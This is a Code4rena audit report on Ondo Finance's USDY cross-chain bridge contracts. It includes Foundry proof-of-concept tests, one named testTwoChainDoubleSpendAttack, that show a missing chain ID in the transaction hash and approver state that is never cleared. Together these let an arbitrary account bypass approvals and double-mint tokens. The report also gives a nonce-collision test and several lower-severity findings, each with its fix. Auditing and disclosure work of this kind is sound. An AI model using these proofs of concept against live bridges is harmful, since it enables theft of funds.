Ondo Finance - kutugu's results

Lines of code

https://github.com/code-423n4/2023-09-ondo/blob/47d34d6d4a5303af5f46e907ac2292e6a7745f6c/contracts/bridge/DestinationBridge.sol#L108 https://github.com/code-423n4/2023-09-ondo/blob/47d34d6d4a5303af5f46e907ac2292e6a7745f6c/contracts/bridge/DestinationBridge.sol#L350

Vulnerability details

Impact

There are two main problems here:

1. txnHash does not contain chain data, txnHash of different chains may conflict
2. The data corresponding to txnHash is not completely cleared after the cross-chain message is executed

This can cause the following problems:

1. conflicting messages cannot be executed by same account and users may lose USDY.
2. conflicting messages can be executed by switching accounts, and the approve logic can be bypassed to execute the message.

Proof of Concept

If users use the same address for two conflicting message, because txnToThresholdSet.approvers is not cleared, the message executes DOS, which can be avoided by switching another account to execute the message. And because txnToThresholdSet.approvers is not cleared, the previous approve is still in effect, and the message can be executed without the need to approve again.

diff --git a/forge-tests/bridges/DestinationBridge.t.sol b/forge-tests/bridges/DestinationBridge.t.sol
index 547c37f..2a0e167 100644
--- a/forge-tests/bridges/DestinationBridge.t.sol
+++ b/forge-tests/bridges/DestinationBridge.t.sol
@@ -3,6 +3,7 @@ pragma solidity 0.8.16;
 import "forge-tests/USDY_BasicDeployment.sol";
 import "forge-tests/helpers/events/DestinationBridgeEvents.sol";
 import "contracts/bridge/DestinationBridge.sol";
+import {AddressToString} from "contracts/external/axelar/StringAddressUtils.sol";
 
 contract Test_DestinationBridge is
   DestinationBridgeEvents,
@@ -53,7 +54,11 @@ contract Test_DestinationBridge is
     vm.startPrank(guardian);
     destinationBridge.addChainSupport(
       "arbitrum",
-      "0xce16F69375520ab01377ce7B88f5BA8C48F8D666"
+      AddressToString.toString(address(1))
+    );
+    destinationBridge.addChainSupport(
+      "polygon",
+      AddressToString.toString(address(2))
     );
     destinationBridge.addApprover(ondoSigner0);
     destinationBridge.addApprover(ondoSigner1);
@@ -94,6 +99,45 @@ contract Test_DestinationBridge is
     destinationBridge.execute(cmdId, srcChain, srcAddress, payload);
   }
 
+  function testTwoChainDoubleSpendAttack() public {
+    bytes memory payload = abi.encode(VERSION, alice, 100e18, 1);
+    bytes32 txnHash = keccak256(payload);
+
+    // arbitrum
+    bytes32 cmdId = bytes32(
+      0x9991faa1f435675159ffae64b66d7ecfdb55c29755869a18db8497b4392347e0
+    );
+    string memory srcChain = "arbitrum";
+    string memory srcAddress = AddressToString.toString(address(1));
+    approve_message(
+      cmdId,
+      srcChain,
+      srcAddress,
+      address(destinationBridge),
+      keccak256(payload)
+    );
+    destinationBridge.execute(cmdId, srcChain, srcAddress, payload);
+    // @audit first execution needs approve
+    emit BridgeCompleted(alice, 100e18);
+    vm.prank(ondoSigner0);
+    destinationBridge.approve(txnHash);
+
+    // polygon
+    srcChain = "polygon";
+    srcAddress = AddressToString.toString(address(2));
+    approve_message(
+      cmdId,
+      srcChain,
+      srcAddress,
+      address(destinationBridge),
+      keccak256(payload)
+    );
+    vm.prank(address(0xdead));
+    // @audit second execution only needs switch another account, don't need approve again
+    emit BridgeCompleted(alice, 100e18);
+    destinationBridge.execute(cmdId, srcChain, srcAddress, payload);
+  }
+
   /*//////////////////////////////////////////////////////////////
                       Functionality Tests
   //////////////////////////////////////////////////////////////*/

According to the sponsor's description, the approver network seems to be used as a backup guarantee for block reorganization / Axelar state conflicts, and it may also have other functions, such as subjectively delaying the execution of messages, etc. So let's discuss the extreme cases, when blocks are reorganized or Axelar gateway status conflicts with the approver network:

1. The user initiates a cross-chain message with the same txHash on networks A and B.
2. The status of network A is normal, and the message is executed normally through the Axelar network and the approver network.
3. The state of network B is bad, and the message passed through the Axelar network, but to be conservative, the approver network is not ready to execute the message. At this time, the message can still bypass the approver network to execute in the way described above
4. Due to the reorganization of the block, the transaction of network B is rolled back, but the user still minted new USDY, resulting in a double spend attack

Of course, Axelar will try its best to ensure that blocks will not be reorganized before message is executed, but the approver network that was supposed to be the second layer of protection has failed.

Tools Used

Foundry

Recommended Mitigation Steps

1. srcChain should participate in txnHash calculation to avoid hash collision
2. txnToThresholdSet needs to be cleared after the message is executed.

Assessed type

Context

Findings Summary

Detailed Findings

[L-01] setThresholds should prohibit equal amount

Description

  function setThresholds(
    string calldata srcChain,
    uint256[] calldata amounts,
    uint256[] calldata numOfApprovers
  ) external onlyOwner {
    if (amounts.length != numOfApprovers.length) {
      revert ArrayLengthMismatch();
    }
    delete chainToThresholds[srcChain];
    for (uint256 i = 0; i < amounts.length; ++i) {
      if (i == 0) {
        chainToThresholds[srcChain].push(
          Threshold(amounts[i], numOfApprovers[i])
        );
      } else {
        if (chainToThresholds[srcChain][i - 1].amount > amounts[i]) {
          revert ThresholdsNotInAscendingOrder();
        }
        chainToThresholds[srcChain].push(
          Threshold(amounts[i], numOfApprovers[i])
        );
      }
    }
    emit ThresholdSet(srcChain, amounts, numOfApprovers);
  }

  function _attachThreshold(
    uint256 amount,
    bytes32 txnHash,
    string memory srcChain
  ) internal {
    Threshold[] memory thresholds = chainToThresholds[srcChain];
    for (uint256 i = 0; i < thresholds.length; ++i) {
      Threshold memory t = thresholds[i];
      if (amount <= t.amount) {
        txnToThresholdSet[txnHash] = TxnThreshold(
          t.numberOfApprovalsNeeded,
          new address[](0)
        );
        break;
      }
    }
    if (txnToThresholdSet[txnHash].numberOfApprovalsNeeded == 0) {
      revert NoThresholdMatch();
    }
  }

At present, setThresholds allows the amount to be equal, but in _attachThreshold, the equality will not be considered when looking for the threshold, and only the first subscript that meets the conditions will be taken.
This may not meet the expectations of thresholds. Under strict conditions, the maximum threshold should be taken instead of the minimum threshold.

Recommendations

setThresholds should prohibit equal amount

[L-02] SourceBridge cannot share the same address on different chains

Description

  function addChainSupport(
    string calldata srcChain,
    string calldata srcContractAddress
  ) external onlyOwner {
    chainToApprovedSender[srcChain] = keccak256(abi.encode(srcContractAddress));
    emit ChainIdSupported(srcChain, srcContractAddress);
  }

  // @audit may revert here
  if (isSpentNonce[chainToApprovedSender[srcChain]][nonce]) {
    revert NonceSpent();
  }

In DestinationBridge, chainToApprovedSender is taken only from srcContractAddress and does not include srcChain.
So if SourceBridge use the same address on different chains, isSpentNonce will conflict, blocking message execution on the other chain.
POC:

  function testTwoChainIsSpentNonceConflict() public {
    bytes memory payload = abi.encode(VERSION, alice, 100e18, 1);

    // arbitrum
    bytes32 cmdId = bytes32(
      0x9991faa1f435675159ffae64b66d7ecfdb55c29755869a18db8497b4392347e0
    );
    string memory srcChain = "arbitrum";
    string memory srcAddress = "0xce16F69375520ab01377ce7B88f5BA8C48F8D666";
    approve_message(
      cmdId,
      srcChain,
      srcAddress,
      address(destinationBridge),
      keccak256(payload)
    );
    destinationBridge.execute(cmdId, srcChain, srcAddress, payload);

    // optimism
    srcChain = "optimism";
    approve_message(
      cmdId,
      srcChain,
      srcAddress,
      address(destinationBridge),
      keccak256(payload)
    );
    vm.expectRevert(DestinationBridge.NonceSpent.selector);
    destinationBridge.execute(cmdId, srcChain, srcAddress, payload);
  }

Recommendations

srcChain should also participate in the hash calculation

[L-03] DestinationBridge.execute does not check whether msg.sender is a legal approver

Description

  function _execute(
    string calldata srcChain,
    string calldata srcAddr,
    bytes calldata payload
  ) internal override whenNotPaused {
    (bytes32 version, address srcSender, uint256 amt, uint256 nonce) = abi
      .decode(payload, (bytes32, address, uint256, uint256));

    if (version != VERSION) {
      revert InvalidVersion();
    }
    if (chainToApprovedSender[srcChain] == bytes32(0)) {
      revert ChainNotSupported();
    }
    if (chainToApprovedSender[srcChain] != keccak256(abi.encode(srcAddr))) {
      revert SourceNotSupported();
    }
    if (isSpentNonce[chainToApprovedSender[srcChain]][nonce]) {
      revert NonceSpent();
    }

    isSpentNonce[chainToApprovedSender[srcChain]][nonce] = true;

    bytes32 txnHash = keccak256(payload);
    txnHashToTransaction[txnHash] = Transaction(srcSender, amt);
    _attachThreshold(amt, txnHash, srcChain);
    // @audit not check approver here
    _approve(txnHash);
    _mintIfThresholdMet(txnHash);
    emit MessageReceived(srcChain, srcSender, amt, nonce);
  }

  function approve(bytes32 txnHash) external {
    // @audit check approver here
    if (!approvers[msg.sender]) {
      revert NotApprover();
    }
    _approve(txnHash);
    _mintIfThresholdMet(txnHash);
  }

DestinationBridge.execute does not check whether msg.sender is a legal approver, while approve checks.
So one of the approves can be any address, all of which are valid. The message with a threshold value of 1 can be directly executed by any address without being restricted by the approver network.
And this question can be combined with another question to bypass the approve logic, you can check: DestinationBridge.execute may lead to hash collision, causing DOS or bypassing the approve logic.

Recommendations

_execute should also check whether msg.sender is a legal approver

[N-01] Upgradeable contracts should explicitly call the init function of the inherited contract

Description

  contract rUSDY is
    Initializable,
    ContextUpgradeable,
    PausableUpgradeable,
    AccessControlEnumerableUpgradeable,
    BlocklistClientUpgradeable,
    AllowlistClientUpgradeable,
    SanctionsListClientUpgradeable,
    IERC20Upgradeable,
    IERC20MetadataUpgradeable

  function initialize(
    address blocklist,
    address allowlist,
    address sanctionsList,
    address _usdy,
    address guardian,
    address _oracle
  ) public virtual initializer {
    __rUSDY_init(blocklist, allowlist, sanctionsList, _usdy, guardian, _oracle);
  }

  function __rUSDY_init(
    address blocklist,
    address allowlist,
    address sanctionsList,
    address _usdy,
    address guardian,
    address _oracle
  ) internal onlyInitializing {
    __BlocklistClientInitializable_init(blocklist);
    __AllowlistClientInitializable_init(allowlist);
    __SanctionsListClientInitializable_init(sanctionsList);
    __rUSDY_init_unchained(_usdy, guardian, _oracle);
  }

rUSDY inherits a series of upgradeable contracts from openzeppelin, but does not explicitly call the init function, although currently these init functions do not contain side effects and do not need to be called. However, there is no guarantee whether logic will be added to the new version of the contract in the future. For compatibility, it is best to explicitly call the init function.

Recommendations

Explicitly call the init function